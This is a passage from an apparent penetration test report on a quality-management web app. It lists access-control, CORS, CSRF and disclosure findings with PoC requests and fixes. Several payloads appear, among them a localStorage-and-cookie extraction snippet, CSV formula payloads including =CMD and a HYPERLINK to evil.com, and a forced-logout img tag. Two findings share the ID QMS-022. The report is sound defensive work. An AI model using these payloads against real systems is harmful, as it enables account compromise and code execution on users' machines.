chars)...","risk_category":"operational","impact_score":1,"likelihood_score":1}
```

Proof of Concept - Response

```
HTTP/2 500
```

Impact

Denial of service through memory exhaustion.

Database storage exhaustion.

Remediation

Implement max-length validation (title: 255, description: 5000).

References

CWE-770: Allocation of Resources Without Limits or Throttling

Burp Repeater Tab: QMS-DoS-Oversize

QMS-016: Viewer Can Trigger Quality Audits (Admin Function)

Finding ID	QMS-016
Severity	HIGH
CVSS Score	7.5
CWE	CWE-862 Missing Authorization
Category	Broken Access Control

Status	New
Affected Endpoint(s)	POST /api/audit/trigger

Description

department_viewer can trigger AI-powered quality audits (POST /api/audit/trigger -> 200). Per PRD, this is a system/admin function.

Reproduction Steps

1. POST /api/audit/trigger as department_viewer — 200 OK.

Proof of Concept - Request

```
POST /api/audit/trigger HTTP/2
Cookie: walaplus_session=<viewer_session>
```

Proof of Concept - Response

```
{"success":true,"message":"Quality audit triggered successfully."}
```

Impact

Unauthorized AI resource consumption (GPT-4o).

Potential audit data manipulation.

Remediation

Restrict to admin/quality_manager roles only.

References

OWASP API5:2023 — Broken Function Level Authorization

Burp Repeater Tab: QMS-AuditTrigger

QMS-017: Spoofed Audit Trail on User Management Actions

Finding ID	QMS-017
Severity	HIGH
CVSS Score	7.5
CWE	CWE-290 Authentication Bypass by Spoofing
Category	Broken Access Control
Status	New
Affected Endpoint(s)	POST /api/invitations, POST /api/users/{id}/approve

Description

invited_by and approved_by fields are hardcoded to admin@walaplus.com instead of the actual authenticated user.

Reproduction Steps

1. Create invitation as viewer — invited_by shows admin@walaplus.com.

2. Approve user as viewer — approved_by shows admin@walaplus.com.

Proof of Concept - Request

```
POST /api/invitations HTTP/2
Cookie: walaplus_session=<viewer_session>
Content-Type: application/json
```

```
{"email":"test@evil.com","role":"admin"}
```

Proof of Concept - Response

```
{"invitation":{"invited_by":"admin@walaplus.com"}}
```

Impact

Forensic investigation would incorrectly attribute actions to admin.

Complete audit trail manipulation.

Remediation

Use actual authenticated user from session for all audit fields.

References

CWE-290: Authentication Bypass by Spoofing

Burp Repeater Tab: QMS-SpoofedAudit

QMS-018: Admin Panel Accessible Without X-Admin-Key

Finding ID	QMS-018
Severity	HIGH
CVSS Score	7.5
CWE	CWE-862 Missing Authorization
Category	Security Misconfiguration
Status	Not Fixed (VULN-12)
Affected Endpoint(s)	/admin, GET /api/admin/scorecards

Description

Per the PRD, /admin and /qms pages require X-Admin-Key header. Both are fully accessible to any authenticated user with no API key check. /api/admin/scorecards returns 200 OK even with a fake or missing X-Admin-Key.

Reproduction Steps

1. Navigate to /admin as department_viewer — full admin panel loads.

2. GET /api/admin/scorecards with no X-Admin-Key header — 200 OK.

3. GET /api/admin/scorecards with X-Admin-Key:fake — 200 OK.

Proof of Concept - Request

```
GET /api/admin/scorecards HTTP/2
Cookie: walaplus_session=<viewer_session>
(No X-Admin-Key header)
```

Proof of Concept - Response

```
[{"id":1,"name":"TestScorecard",...}]
```

Impact

X-Admin-Key authentication not implemented at all.

PRD specification completely ignored.

Remediation

Implement X-Admin-Key middleware per PRD specification.

Validate against ADMIN_API_KEY environment variable.

References

CWE-862: Missing Authorization

OWASP API2:2023 — Broken Authentication

Burp Repeater Tab: QMS-AdminNoKey

QMS-019: Client-Side Admin Key in localStorage

Finding ID	QMS-019
Severity	HIGH
CVSS Score	6.5
CWE	CWE-922 Insecure Storage of Sensitive Information
Category	Client-Side Security
Status	New
Affected Endpoint(s)	/login (client-side JavaScript)

Description

The Admin Key login flow stores the key in localStorage via loginWithAdminKey() function. localStorage is accessible to any XSS payload.

Reproduction Steps

1. Enter any admin key on the login page.

2. Inspect localStorage — adminApiKey is stored.

3. Execute document.cookie + JSON.stringify(localStorage) to extract.

Proof of Concept - Request

```
Browser Console:
localStorage.getItem('adminApiKey')
```

Proof of Concept - Response

```
"FAKE_KEY_12345"
```

Impact

Any XSS payload can steal the admin API key.

Key persists across sessions.

Remediation

Store admin key in HttpOnly secure cookie, not localStorage.

Implement server-side session management for admin auth.

References

CWE-922: Insecure Storage of Sensitive Information

Burp Repeater Tab: QMS-LocalStorage

QMS-020: Email Service Configuration Disclosure

Finding ID	QMS-020
Severity	HIGH
CVSS Score	6.5
CWE	CWE-209 Information Exposure Through an Error Message
Category	Information Disclosure
Status	New
Affected Endpoint(s)	POST /api/invitations (UI dialog)

Description

When the invite user functionality fails to send email, a dialog reveals: email service provider (Resend), API key format (~36 characters starting with 're_'), and current configuration (RESEND_API_KEY not configured, current length: 0).

Reproduction Steps

1. Navigate to Users page as any authenticated user.

2. Click 'Invite User' and submit the form with a valid email.

3. Dialog appears revealing: RESEND_API_KEY not configured or invalid (current length: 0). A valid key should be ~36 characters starting with 're_'.

Proof of Concept - Request

```
POST /api/invitations HTTP/2
Content-Type: application/json

{"email":"test@evil.com","role":"admin"}
```

Proof of Concept - Response

```
UI Dialog: "RESEND_API_KEY not configured or invalid (current length: 0). A valid key should be ~36
characters starting with 're_'."
```

Impact

Reveals email service provider (Resend) enabling targeted attacks.

Exposes API key format enabling brute-force or social engineering.

Confirms missing email configuration — invitation emails never sent.

Remediation

Return generic error: 'Email service not configured' without provider or key details.

Configure RESEND_API_KEY environment variable.

Log detailed errors server-side only.

References

CWE-209: Generation of Error Message Containing Sensitive Information

Burp Repeater Tab: QMS-EmailConfig

QMS-022: ROI Financial Data Injection by Viewer

Finding ID	QMS-022
Severity	HIGH
CVSS Score	7.1
CWE	CWE-862 Missing Authorization

Category	Broken Access Control
Status	New
Affected Endpoint(s)	POST /api/roi

Description

department_viewer can create ROI financial initiatives. These data points feed into executive dashboards and financial reporting.

Reproduction Steps

1. POST /api/roi as department_viewer with fabricated financial data — 200 OK.

Proof of Concept - Request

```
POST /api/roi HTTP/2
Content-Type: application/json

{"project_name":"Fake ROI","owner":"Attacker","department":"Hacking","baseline_cost":0}
```

Proof of Concept - Response

```
{"success":true,"initiative":{"id":1,"project_name":"Fake ROI Injection",...}}
```

Impact

Executive dashboard data manipulation.

Financial reporting corruption.

Remediation

Restrict ROI creation to authorized roles (quality_manager, admin).

References

CWE-862: Missing Authorization

Burp Repeater Tab: QMS-ROI-Injection

QMS-022: SQL Error Disclosure in Export Endpoint

Finding ID	QMS-022
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-209 Information Exposure Through an Error Message
Category	Information Disclosure
Status	New
Affected Endpoint(s)	GET /api/users/export

Description

Returns PostgreSQL-specific error: 'invalid input syntax for type integer: "NaN"'.

Reproduction Steps

1. GET /api/users/export — 500 with SQL error.

Proof of Concept - Request

```
GET /api/users/export HTTP/2
Cookie: walaplus_session=<viewer_session>
```

Proof of Concept - Response

```
{"error":"invalid input syntax for type integer: \"NaN\""}
```

Impact

Confirms PostgreSQL database.

Reveals query structure.

Remediation

Return generic error messages.

Log detailed errors server-side only.

References

CWE-209: Generation of Error Message Containing Sensitive Information

Burp Repeater Tab: QMS-SQLError

QMS-023: Duplicate Invitation Creation — No Deduplication

Finding ID	QMS-023
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-799 Improper Control of Interaction Frequency
Category	Business Logic
Status	New
Affected Endpoint(s)	POST /api/invitations

Description

Multiple invitations can be created for the same email address without deduplication.

Reproduction Steps

1. POST /api/invitations for same email twice — both return 201.

Proof of Concept - Request

```
POST /api/invitations HTTP/2
Content-Type: application/json

{"email":"existing@walaplus.com","role":"admin"}
```

Proof of Concept - Response

```
{"success":true,"invitation":{"id":12,...}}
```

Impact

Invitation flooding.

Multiple active tokens for the same email.

Remediation

Check for existing pending invitations before creating new ones.

References

CWE-799: Improper Control of Interaction Frequency

Burp Repeater Tab: QMS-DupInvite

QMS-024: CSP Allows unsafe-inline and unsafe-eval

Finding ID	QMS-024
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-1021 Improper Restriction of Rendered UI Layers
Category	Security Misconfiguration
Status	New
Affected Endpoint(s)	All HTTP responses

Description

Content-Security-Policy allows 'unsafe-inline' and 'unsafe-eval' for scripts, weakening XSS protection.

Reproduction Steps

1. Inspect any HTTP response headers.

2. Observe script-src includes 'unsafe-inline' 'unsafe-eval'.

Proof of Concept - Request

```
GET / HTTP/2
Host: qms-dashboard.replit.app
```

Proof of Concept - Response

```
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ...
```

Impact

If XSS injection found, scripts execute despite CSP.

Remediation

Remove unsafe-inline and unsafe-eval.

Use nonce-based CSP.

Move inline scripts to external files.

References

OWASP CSP Cheat Sheet

CWE-1021

Burp Repeater Tab: QMS-WeakCSP

QMS-025: CORS Wildcard on OPTIONS Preflight and Error Responses

Finding ID	QMS-025
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-942 Permissive Cross-domain Policy
Category	Security Misconfiguration
Status	Not Fixed (VULN-05)
Affected Endpoint(s)	All API endpoints (OPTIONS method, 4xx/5xx responses)

Description

OPTIONS preflight and unauthenticated/error responses return Access-Control-Allow-Origin: *. Authenticated 200 responses return fixed origin.

Reproduction Steps

1. curl -X OPTIONS -H 'Origin: https://evil.com' /api/risks — returns Access-Control-Allow-Origin: *.
2. curl /api/risks (unauthenticated, 401) — returns Access-Control-Allow-Origin: *.

Proof of Concept - Request

```
OPTIONS /api/risks HTTP/2
Origin: https://evil.com
Access-Control-Request-Method: GET
```

Proof of Concept - Response

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,OPTIONS
```

Impact

Inconsistent CORS policy.

CORS allow-headers reveals x-mastra-client-type (framework).

Remediation

Set consistent fixed-origin CORS on ALL responses including OPTIONS and errors.

References

CWE-942: Permissive Cross-domain Policy with Untrusted Domains

Burp Repeater Tab: QMS-CORS

QMS-026: Rate Limiting Too Permissive (~18 Requests)

Finding ID	QMS-026
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-770 Allocation of Resources Without Limits
Category	Security Misconfiguration
Status	Partially Fixed (VULN-11)
Affected Endpoint(s)	All API endpoints

Description

Rate limiting triggers after ~18 requests (429), but resets quickly. Threshold too high for brute-force protection.

Reproduction Steps

1. Send 20 rapid requests to any endpoint — 429 after ~18.

Proof of Concept - Request

```
GET /api/risks HTTP/2 (x18 rapid requests)
```

Proof of Concept - Response

```
HTTP/2 429 (on request 19+)
```

Impact

Insufficient brute-force protection.

API abuse possible within the limit.

Remediation

Lower threshold to 5-10 requests per minute for auth endpoints.

Implement progressive delays.

References

OWASP Rate Limiting Cheat Sheet

Burp Repeater Tab: QMS-RateLimit

QMS-027: CSRF Logout via GET Request

Finding ID	QMS-027
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-352 Cross-Site Request Forgery
Category	Session Management
Status	New
Affected Endpoint(s)	GET /api/auth/logout

Description

Logout is performed via GET, enabling CSRF-based session invalidation via img tags or links.

Reproduction Steps

1. curl -X GET /api/auth/logout — returns 302, session cleared.

2. An attacker can embed <img src="https://qms-dashboard.replit.app/api/auth/logout"> to force logout.

Proof of Concept - Request

```
GET /api/auth/logout HTTP/2
```

Proof of Concept - Response

```
HTTP/2 302
Location: /login
Set-Cookie: walaplus_session=; Max-Age=0
```

Impact

Attacker can force any user to log out.

Remediation

Change logout to POST method.

Require CSRF token.

References

CWE-352: Cross-Site Request Forgery

Burp Repeater Tab: QMS-CSRFLogout

QMS-028: CSV Injection — Formula Payloads Stored Without Sanitization

Finding ID	QMS-028
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-1236 Improper Neutralization of Formula Elements in CSV
Category	Input Validation
Status	New
Affected Endpoint(s)	POST /api/risks (all text input fields)

Description

All CSV formula payloads (=CMD, +CMD, -1+1, @SUM, =HYPERLINK) stored as-is without sanitization. Export endpoints are currently broken (500), but data is ready for injection when fixed.

Reproduction Steps

1. POST /api/risks with risk_title:"=CMD("calc")" — stored as-is.
2. POST /api/risks with risk_title:"=HYPERLINK("http://evil.com","Click")" — stored as-is.

Proof of Concept - Request

```
POST /api/risks HTTP/2
Content-Type: application/json

{"risk_title":"=CMD(\"calc\")","risk_category":"operational","impact_score":1,"likelihood_score":1}
```

Proof of Concept - Response

```
{"success":true,"risk":{"risk_title":"=CMD(\"calc\")",...}}
```

Impact

When export is fixed, CSV/XLSX files will contain executable formulas.

Remote code execution on user workstations opening exports.

Remediation

Prepend ' to cells starting with =, +, -, @ before export.

Validate input to reject formula characters.

References

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Burp Repeater Tab: QMS-CSVInjection

QMS-029: Verbose Error Messages Disclose Field Names

Finding ID	QMS-029
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-209 Information Exposure Through an Error Message
Category	Information Disclosure
Status	Partially Fixed (VULN-09/16)
Affected Endpoint(s)	Multiple POST/PUT endpoints

Description

Error responses reveal internal field names: 'Missing required fields: obligation_code, regulation_id, title, description'. Also: 'email, team, and role are required'.

Reproduction Steps

1. Send POST with incomplete body — error reveals exact required field names.

Proof of Concept - Request

```
POST /api/compliance/obligations HTTP/2
Content-Type: application/json

{}
```

Proof of Concept - Response

```
{"error":"Missing required fields: obligation_code, regulation_id, title, description"}
```

Impact

Internal schema disclosure aids targeted attacks.

Remediation

Return generic error: 'Request validation failed' without field names.

References

CWE-209

Burp Repeater Tab: QMS-VerboseErrors

QMS-030: PostgreSQL Type Disclosure via Error Messages

Finding ID	QMS-030
Severity	MEDIUM
CVSS Score	5.3
CWE	CWE-209 Information Exposure Through an Error Message
Category	Information Disclosure
Status	New
Affected Endpoint(s)	GET /api/users/export

Description

Export endpoint leaks PostgreSQL-specific error syntax, confirming the database technology.

Reproduction Steps

1. GET /api/users/export — returns 'invalid input syntax for type integer: "NaN"'.

Proof of Concept - Request

```
GET /api/users/export HTTP/2
```

Proof of Concept - Response

```
{"error":"invalid input syntax for type integer: \"NaN\""}
```

Impact

Confirms PostgreSQL database.

Aids in crafting targeted injection payloads.

Remediation

Catch database errors server-side; return generic 500 message to clients.

References

CWE-209

Burp Repeater Tab: QMS-PGDisclosure

QMS-031: Endpoint Enumeration via Response Code Differentiation

Finding ID	QMS-031
Severity	LOW
CVSS Score	3.7
CWE	CWE-204 Observable Response Discrepancy
Category	Information Disclosure
Status	New
Affected Endpoint(s)	All /api/* endpoints

Description

Unauthenticated requests return 401 for all /api/ paths. Authenticated requests return 404 for non-existent endpoints. This difference enables endpoint enumeration.

Reproduction Steps

1. Unauthenticated: /api/graphql -> 401; /api/risks -> 401 (both same).

2. Authenticated: /api/graphql -> 404; /api/risks -> 200 (different).

Proof of Concept - Request

```
GET /api/nonexistent HTTP/2
(Authenticated vs Unauthenticated)
```

Proof of Concept - Response

```
Unauth: 401 | Auth: 404
```

Impact

Authenticated attackers can enumerate all valid endpoints.

Remediation

Return consistent response codes (404) for non-existent authenticated endpoints.

References

CWE-204: Observable Response Discrepancy

QMS-032: Sequential Resource IDs Enable Enumeration

Finding ID	QMS-032
Severity	LOW
CVSS Score	3.7
CWE	CWE-330 Use of Insufficiently Random Values
Category	Information Disclosure

Status	New
Affected Endpoint(s)	All resource endpoints

Description

All resources (users, risks, vendors, policies, invitations) use sequential integer IDs (1, 2, 3...). This enables resource enumeration and count estimation.

Reproduction Steps

1. Create resources and observe IDs increment by 1.
2. Iterate /api/risks/1 through /api/risks/N to enumerate all.

Proof of Concept - Request

```
GET /api/risks/1 through GET /api/risks/45
```

Proof of Concept - Response

```
All return 200 with sequential IDs
```

Impact

Predictable resource IDs enable IDOR attacks.

Resource count estimation.

Remediation

Migrate to UUIDs for all external-facing resource IDs.

References

CWE-330: Use of Insufficiently Random Values

OWASP IDOR Prevention

QMS-033: Google OAuth Client ID Exposed

Finding ID	QMS-033
Severity	LOW
CVSS Score	3.7
CWE	CWE-200 Exposure of Sensitive Information
Category	Information Disclosure
Status	Not Fixed (VULN-17)
Affected Endpoint(s)	GET /api/auth/google (redirect URL)

Description

Google OAuth Client ID exposed in redirect URL: 915542820771-nj20rj53742aqdol4u696skcu1upsqrl.apps.googleusercontent.com.

Reproduction Steps

1. GET /api/auth/google — observe client_id in redirect Location header.

Proof of Concept - Request

```
GET /api/auth/google HTTP/2
```

Proof of Concept - Response

```
Location: https://accounts.google.com/o/oauth2/v2/auth?client_id=915542820771-...&redirect_uri=...
```

Impact

Enables targeted phishing via OAuth consent screen spoofing.

Remediation

Inherent to OAuth flow. Ensure authorized redirect URIs are strictly limited in Google Console.

References

CWE-200

Google OAuth Security Best Practices

QMS-034: Mastra Framework Disclosure in CORS Headers

Finding ID	QMS-034
Severity	LOW
CVSS Score	3.7
CWE	CWE-200 Exposure of Sensitive Information
Category	Information Disclosure
Status	Not Fixed (VULN-18)
Affected Endpoint(s)	OPTIONS on any API endpoint

Description

CORS allow-headers reveals x-mastra-client-type, disclosing the backend framework.

Reproduction Steps

1. Send OPTIONS request — observe Access-Control-Allow-Headers includes x-mastra-client-type.

Proof of Concept - Request

```
OPTIONS /api/risks HTTP/2
Origin: https://evil.com
```

Proof of Concept - Response

```
Access-Control-Allow-Headers: Content-Type,Authorization,x-mastra-client-type
```

Impact

Framework identification aids targeted exploit development.

Remediation

Remove x-mastra-client-type from CORS allow-headers.

References

CWE-200

QMS-035: Mode:MOCK Disclosure via Agent Performance API

Finding ID	QMS-035
Severity	LOW

CVSS Score	3.7
CWE	CWE-200 Exposure of Sensitive Information
Category	Information Disclosure
Status	Partially Fixed (VULN-06)
Affected Endpoint(s)	GET /api/agents/performance

Description

Returns mode:'MOCK' indicating the application is running with mock data/services.

Reproduction Steps

1. GET /api/agents/performance — observe mode:'MOCK' in response.

Proof of Concept - Request

```
GET /api/agents/performance HTTP/2
```

Proof of Concept - Response

```
{"success":true,"mode":"MOCK","agents":[],...}
```

Impact

Reveals application running in mock/development mode in production.

Remediation

Remove mode field from API responses.

Ensure production configuration is properly set.

References

CWE-200

QMS-036: Broken Export Endpoints (500 Errors)

Finding ID	QMS-036
Severity	LOW
CVSS Score	3.5
CWE	CWE-755 Improper Handling of Exceptional Conditions
Category	Availability
Status	New
Affected Endpoint(s)	GET /api/users/export, GET /api/risks/export, GET /api/feedback

Description

All export endpoints return 500 errors. /api/users/export leaks SQL error. /api/risks/export returns generic error. /api/feedback returns error with empty array.

Reproduction Steps

1. GET /api/users/export — 500.
2. GET /api/risks/export — 500.
3. GET /api/feedback — 500.

Proof of Concept - Request

```
GET /api/users/export HTTP/2
```

Proof of Concept - Response

```
{"error":"invalid input syntax for type integer: \"NaN\""}
```

Impact

Export functionality non-operational.

SQL error disclosure.

Remediation

Fix NaN parsing bug in export query.

Implement proper error handling.

References

CWE-755

QMS-037: DELETE Operations Not Implemented

Finding ID	QMS-037
Severity	INFO
CVSS Score	N/A
CWE	N/A
Category	Functionality Gap
Status	New
Affected Endpoint(s)	DELETE /api/risks/{id}, vendors/{id}, policies/{id}, users/{id}, invitations/{id}

Description

All DELETE endpoints return 404. No data cleanup capability exists through the application.

Reproduction Steps

1. Send DELETE to any resource — 404 Not Found.

Proof of Concept - Request

```
DELETE /api/risks/1 HTTP/2
```

Proof of Concept - Response

```
HTTP/2 404
```

Impact

Injected malicious data cannot be removed.

No data destruction risk from unauthorized access.

Remediation

Implement soft-delete with proper RBAC.

Add audit logging for deletions.

QMS-038: 22 PRD-Documented Endpoints Not Implemented

Finding ID	QMS-038
Severity	INFO
CVSS Score	N/A
CWE	N/A
Category	Functionality Gap
Status	New
Affected Endpoint(s)	Various /api/ endpoints

Description

22 endpoints documented in the PRD return 404: admin/governance, admin/settings, admin/audit-log, compliance/frameworks, compliance/evidence, grc/audits, grc/findings, vendor-assessments, vendor-remediations, migration/imports, handoff/control-mappings, qms/nonconformance, risks/{id}/treatments, and more.

Reproduction Steps

1. Test each PRD-documented endpoint — 22 return 404.

Proof of Concept - Request

```
GET /api/admin/governance HTTP/2
```

Proof of Concept - Response

```
HTTP/2 404
```

Impact

Significant feature gap between PRD and implementation.

Remediation

Implement remaining endpoints per PRD specification.

Ensure RBAC is built-in from the start.

References

WalaPlus Enterprise GRC & Quality Management Platform — Scope of Work v2.0

QMS-039: Vendor Code Deduplication Works Correctly (Positive)

Finding ID	QMS-039
Severity	INFO
CVSS Score	N/A
CWE	N/A
Category	Positive Observation
Status	New
Affected Endpoint(s)	POST /api/vendors

Description

Duplicate vendor_code properly rejected with 'Vendor code already exists' error.

Reproduction Steps

1. Create vendor with vendor_code VND-DUP-001 twice — second returns 400.

Proof of Concept - Request

```
POST /api/vendors HTTP/2
Content-Type: application/json

{"vendor_code":"VND-DUP-001","name":"Dup2","category":"technology"}
```

Proof of Concept - Response

```
{"error":"Vendor code already exists"}
```

Impact

Positive: deduplication prevents data integrity issues.

Remediation

No action needed — this is a positive observation.

---

9. Positive Security Observations

The following security controls were found to be correctly implemented during testing:

- SSTI not exploitable — 6 template engine payloads stored without evaluation
- Command injection not exploitable — 5 OS command payloads stored without execution
- SQL injection mitigated — parameterized queries used for sortBy/search parameters
- OAuth redirect URI hardcoded — open redirect attempts via redirect_uri, return_to, next all ignored
- OAuth state parameter properly random — different 128-bit hex per request
- Host header injection rejected — invalid host returns 404
- X-HTTP-Method-Override not supported — cannot bypass method restrictions
- Invitation tokens have 256-bit entropy — 64 hex chars, CSPRNG quality
- Session cookies properly secured — HttpOnly, Secure, SameSite=Lax flags all present
- Invalid invitation tokens handled correctly — generic error, no user enumeration
- Vendor code deduplication works — duplicate vendor_code properly rejected
- XSS HTML tags stripped from input — <script>, <img>, <svg> tags removed by sanitizer
- Timing attack mitigated — token validation shows consistent timing (~88ms jitter)
- Sensitive files not exposed — /.env, /.git redirect to login page (not served)
- Authentication required on all API endpoints — unauthenticated requests return 401
- Mass assignment mitigated for calculated fields — risk_score, risk_level, id cannot be overwritten
- Prototype pollution not exploitable — __proto__ payloads handled safely by server

10. References

OWASP Testing Guide v4.2 - https://owasp.org/www-project-web-security-testing-guide/

OWASP Top 10 (2021) - https://owasp.org/Top10/

OWASP API Security Top 10 (2023) - https://owasp.org/API-Security/

OWASP Business Logic Testing - https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/

CWE - Common Weakness Enumeration - https://cwe.mitre.org/

CVSS v3.1 Calculator - https://www.first.org/cvss/calculator/3.1

PTES - Penetration Testing Execution Standard - http://www.pentest-standard.org/

NIST SP 800-53 Rev 5 - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final

KSA PDPL - https://sdaia.gov.sa/en/SDAIA/aboutSDIA/Documents/PersonalDataEn.pdf

ISO 27001:2022 - Information Security Management

ISO 9001:2015 - Quality Management Systems

SAMA Cybersecurity Framework - https://www.sama.gov.sa/

Appendix A: Tools Used

Tool	Purpose
Playwright MCP	Browser automation for authenticated testing, DOM interaction, UI page coverage
Burp Suite MCP	Web security proxy, request capture, repeater tabs, scanner
Cursor IDE Browser MCP	Fallback browser automation for manual testing
curl	Unauthenticated testing, CORS verification, rate limiting, timing attacks, endpoint bruteforce
Shell (parallel)	Concurrent HTTP requests for race condition testing
Python 3	Token entropy analysis, timing attack measurement

Appendix B: API Endpoints Tested

A total of **36** API endpoints were systematically tested during the assessment. The following table documents each endpoint, its HTTP methods, authentication requirements, and testing notes.

Endpoint	Methods	Auth	Notes
/api/inngest	GET, POST, PUT	NO	CRITICAL — unauthenticated, stack traces
/api/auth/me	GET	Yes	Working
/api/auth/google	GET	No	OAuth flow — redirect URI hardcoded
/api/auth/google/callback	GET	No	OAuth callback — state validated
/api/auth/logout	GET	No	CSRF via GET
/api/users	GET	Yes	All PII exposed, NONE RBAC
/api/users/{id}	GET	Yes	Any user data, NONE RBAC
/api/users/{id}/role	PUT	Yes	Any role change, NONE RBAC
/api/users/{id}/approve	POST	Yes	Any approval, NONE RBAC
/api/users/export	GET	Yes	500 Bug (SQL leak)
/api/invitations	GET, POST	Yes	Token exposure, any role invite
/api/invitations/accept	POST	No	Empty password OK
/api/risks	GET, POST	Yes	Full CRUD, NONE RBAC
/api/risks/{id}	GET, PUT	Yes	Full read/write, NONE RBAC
/api/risks/summary	GET	Yes	Working
/api/risks/heatmap	GET	Yes	Working
/api/vendors	GET, POST	Yes	Full CRUD, NONE RBAC
/api/vendors/{id}	GET, PUT	Yes	Full read/write, NONE RBAC
/api/policies	GET	Yes	Working
/api/policies/{id}	GET, PUT	Yes	Workflow bypass
/api/compliance/obligations	GET, POST	Yes	Full CRUD, NONE RBAC
/api/qms/evaluations	GET	Yes	Working
/api/qms/capa	GET, POST	Yes	POST 500 bug
/api/audits	GET	Yes	Working
/api/audit/trigger	POST	Yes	Viewer triggers, NONE RBAC
/api/audit/latest	GET	Yes	Working
/api/dashboard	GET	Yes	Working
/api/roi	GET, POST	Yes	Negative values OK, NONE RBAC
/api/admin/scorecards	GET	Yes	No X-Admin-Key check
/api/logs	GET, POST	Yes	Log injection!
/api/migration/templates	GET	Yes	Working
/api/handoff/rules	GET	Yes	Working
/api/handoff/events	GET	Yes	Working
/api/agents/performance	GET	Yes	Mode:MOCK disclosure
/api/crm/data	GET	Yes	CRM not configured
/api/feedback	GET, POST	Yes	GET 500, POST 400

- End of Report -